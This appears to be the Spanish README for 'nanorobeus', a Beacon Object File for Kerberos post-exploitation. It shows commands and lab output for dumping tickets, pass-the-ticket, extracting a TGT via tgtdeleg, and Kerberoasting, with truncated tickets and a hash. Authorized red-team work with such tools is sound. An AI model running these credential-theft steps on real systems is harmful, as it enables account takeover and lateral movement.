
Archivo COFF (BOF) para gestionar tickets de Kerberos.
Archivo COFF (BOF) para administrar tickets de Kerberos.
luid - obtener el ID de inicio de sesión actual
sessions [/luid:<0x0>| /all] - obtener sesiones de inicio de sesión
klist [/luid:<0x0> | /all] - listar tickets de Kerberos
dump [/luid:<0x0> | /all] - volcar tickets de Kerberos
ptt /ticket:<base64> [/luid:<0x0>] - importar un ticket de Kerberos en una sesión de inicio de sesión
purge [/luid:<0x0>] - purgar tickets de Kerberos
tgtdeleg /spn:<spn> - recuperar un TGT utilizable para el usuario actual
kerberoast /spn:<spn> - realizar Kerberoasting contra el SPN especificado
Obtener el ID de inicio de sesión actual.
=> nanorobeus64 luid
[+] Current LogonId: 0:0x19ea88e
Obtener información detallada sobre la sesión de inicio de sesión actual.
=> nanorobeus64 sessions
UserName : User
Domain : FORTRESS
LogonId : 0:0x19ea88e
Session : 2
UserSID : S-1-5-21-1768674056-2740991423-664180583-1105
Authentication package : Kerberos
LogonType : Interactive
LogonTime (UTC) : 2/7/2022 19:22:43
LogonServer : SERVER
LogonServerDNSDomain : FORTRESS.LOCAL
UserPrincipalName : [email protected]
Lista los tickets de Kerberos para la sesión de inicio de sesión actual. Con privilegios elevados, usa /all para listar los tickets de todas las sesiones o /luid:0x0 para listar los tickets de una sesión de inicio de sesión específica.
=> nanorobeus64 klist
UserName : User
Domain : FORTRESS
LogonId : 0:0x19ea88e
Session : 2
UserSID : S-1-5-21-1768674056-2740991423-664180583-1105
Authentication package : Kerberos
LogonType : Interactive
LogonTime (UTC) : 2/7/2022 19:22:43
LogonServer : SERVER
LogonServerDNSDomain : FORTRESS.LOCAL
UserPrincipalName : [email protected]
[*] Cached tickets: (6)
[0]
Client name : User @ FORTRESS.LOCAL
Server name : krbtgt/FORTRESS.LOCAL @ FORTRESS.LOCAL
Start time : 2/7/2022 19:22:44 (UTC)
End time : 3/7/2022 5:22:43 (UTC)
Renew time : 9/7/2022 19:22:43 (UTC)
Flags : forwardable, forwarded, renewable, pre_authent, name_canonicalize (0x60a10000)
Encryption type : AES256_CTS_HMAC_SHA1
...(snip)...
Vuelca los tickets de la sesión de inicio de sesión actual. Con privilegios elevados, usa /all para volcar los tickets de todas las sesiones o /luid:0x0 para volcar los tickets de una sesión de inicio de sesión específica.
=> nanorobeus64 dump
UserName : User
Domain : FORTRESS
LogonId : 0:0x19ea88e
Session : 2
UserSID : S-1-5-21-1768674056-2740991423-664180583-1105
Authentication package : Kerberos
LogonType : Interactive
LogonTime (UTC) : 2/7/2022 19:22:43
LogonServer : SERVER
LogonServerDNSDomain : FORTRESS.LOCAL
UserPrincipalName : [email protected]
[*] Cached tickets: (6)
[0]
Client name : User @ FORTRESS.LOCAL
Server name : krbtgt/FORTRESS.LOCAL @ FORTRESS.LOCAL
Start time : 2/7/2022 19:22:44 (UTC)
End time : 3/7/2022 5:22:43 (UTC)
Renew time : 9/7/2022 19:22:43 (UTC)
Flags : forwardable, forwarded, renewable, pre_authent, name_canonicalize (0x60a10000)
Encryption type : AES256_CTS_HMAC_SHA1
Ticket : doIFFjCCBRKgAwIBBaEDAgEWooIEGTCCBBVhggQRMIIEDaADAg...(snip)...
Importa un ticket en la sesión de inicio de sesión actual. Con privilegios elevados, usa /luid:0x0 para importar el ticket en una sesión de inicio de sesión específica.
=> make_token network fortress.local test pass
=> nanorobeus64 ptt /ticket:doIFqjCCBaagAwIB...snip...
[+] Ticket successfully imported.
Purga todos los tickets de Kerberos de la sesión de inicio de sesión actual. Con privilegios elevados, usa /luid:0x0 para purgar los tickets de una sesión de inicio de sesión específica.
=> nanorobeus64 purge
[+] Successfully purged tickets.
Recupera un TGT utilizable para el usuario actual.
=> nanorobeus64 tgtdeleg /spn:cifs/server.fortress.local
[*] Found the AP-REQ delegation ticket in the GSS-API output
[*] Authenticator etype: AES256_CTS_HMAC_SHA1
[*] Successfully extracted the service ticket session key
[*] Successfully decrypted authenticator
[+] Successfully extracted TGT: doIFeDCCBXSgAwIBBaEDAgEWooIEcjC...(snip)...
Realiza Kerberoasting especificando el SPN:
=> nanorobeus64 kerberoast /spn:HTTP/server.fortress.local
[*] Target SPN: HTTP/server.fortress.local
[+] Hash: $krb5tgs$23$*$FORTRESS.LOCAL$HTTP/server.fortress.local*$ac5e2f4d28fd377...(snip)...